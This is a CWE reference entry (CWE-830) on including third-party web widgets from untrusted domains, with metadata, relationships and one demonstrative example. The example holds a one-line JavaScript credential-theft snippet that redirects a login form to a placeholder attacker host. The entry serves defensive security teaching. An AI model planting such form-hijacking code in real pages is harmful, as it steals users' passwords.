CWE - CWE-830: Inclusion of Web Functionality from an Untrusted Source (4.16)

Weakness ID: 830

Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.

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Description

The product includes web functionality (such as a web widget) from another domain, which causes it to operate within the domain of the product, potentially granting total access and control of the product to the untrusted source.

Extended Description

Including third party functionality in a web-based environment is risky, especially if the source of the functionality is untrusted.

Even if the third party is a trusted source, the product may still be exposed to attacks and malicious behavior if that trusted source is compromised, or if the code is modified in transmission from the third party to the product.

This weakness is common in "mashup" development on the web, which may include source functionality from other domains. For example, Javascript-based web widgets may be inserted by using '<SCRIPT SRC="http://other.domain.here">' tags, which causes the code to run in the domain of the product, not the remote site from which the widget was loaded. As a result, the included code has access to the local DOM, including cookies and other data that the developer might not want the remote site to be able to access.

Such dependencies may be desirable, or even required, but sometimes programmers are not aware that a dependency exists.

Common Consequences

This table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Technical Impact: Execute Unauthorized Code or Commands

Relationships

This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	829	Inclusion of Functionality from Untrusted Control Sphere

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1016	Limit Exposure

Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

Phase	Note
Implementation	REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Demonstrative Examples

Example 1

This login webpage includes a weather widget from an external website:

(bad code)

Example Language: HTML

<div class="header"> Welcome!

<div id="loginBox">Please Login:

<form id ="loginForm" name="loginForm" action="login.php" method="post">
Username: <input type="text" name="username" />
<br/>
Password: <input type="password" name="password" />
<input type="submit" value="Login" />
</form>

</div>
<div id="WeatherWidget">

</div>

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

(attack code)

Example Language: JavaScript

...Weather widget code....
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

Memberships

This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1416	Comprehensive Categorization: Resource Lifecycle Management

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

References

[REF-778] Jeremiah Grossman. "Third-Party Web Widget Security FAQ". <https://blog.jeremiahgrossman.com/2010/07/third-party-web-widget-security-faq.html>. URL validated: 2023-04-07.

Content History

Submissions
Submission Date	Submitter	Organization
2010-12-08 (CWE 1.11, 2010-12-13)	CWE Content Team	MITRE
2010-12-08 (CWE 1.11, 2010-12-13)
Modifications
Modification Date	Modifier	Organization
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Demonstrative_Examples
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Modes_of_Introduction, Relationships
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Type
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes


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Common Weakness Enumeration

CWE-830: Inclusion of Web Functionality from an Untrusted Source

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